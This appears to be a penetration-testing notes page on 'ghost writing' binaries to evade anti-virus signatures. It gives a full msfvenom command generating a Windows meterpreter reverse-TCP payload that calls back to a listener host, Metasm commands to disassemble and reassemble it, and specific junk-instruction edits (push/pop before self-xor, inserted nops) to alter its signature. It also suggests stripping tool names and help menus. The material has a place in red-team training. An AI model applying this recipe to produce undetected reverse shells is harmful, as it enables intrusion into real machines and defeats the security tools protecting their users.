Ghost Writing Binaries
Changing of the Assembly source code, to alter the well known signature used by anti-virus engines.
Overview
Create a .exe
Convert it to .asm
Edit the .asm file
Convert back to .exe Most of the time you dont want to alter the functionality of the binary.
Some additional (outside of Ghostwriting) things that can help with evading signatures are:
Removing the Help menu of a tool
Removing instances of the tool name in the source codeGhost Writing How To
Generate a
msfvenompayload for example
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=4444 -f raw -o payload.raw --platform windows -a x86Now that you have a raw payload, convert it to ASCII
asm sourceThe Metasm script is a great option to accomplish this
ruby /opt/metasm/samples/disassemble.rb payload.raw > payload.asmNow open the file in
gedit
Obfuscation of ASM File
At the very top of the file add:
.section '.text' rwx
.entrypointNow start by finding any instance of
xorwhere a register isxor(ed) against itself.When something is
xoragainst it self, it will clear the register to a value of 0For example look for something like this
xor eax, eaxBecause the normal code execution will clear out any value in
eaxwe can add additional instructions before thexorThus we can add this in before the
xorstatement
push eax
pop eax
xor eax, eaxAlso feel free to add in other additional irrelevant instructions before an
xoroccurs. Remember only where an operand isxorwith itself.Also can add
nopinstructions into the program at the correct places.Testing is your best friend here
Convert Back
Once you are done altering the
asmit is time to convert it back to anexe
ruby /opt/metasm/samples/peencode.rb payload.asm -o payload.exeLast updated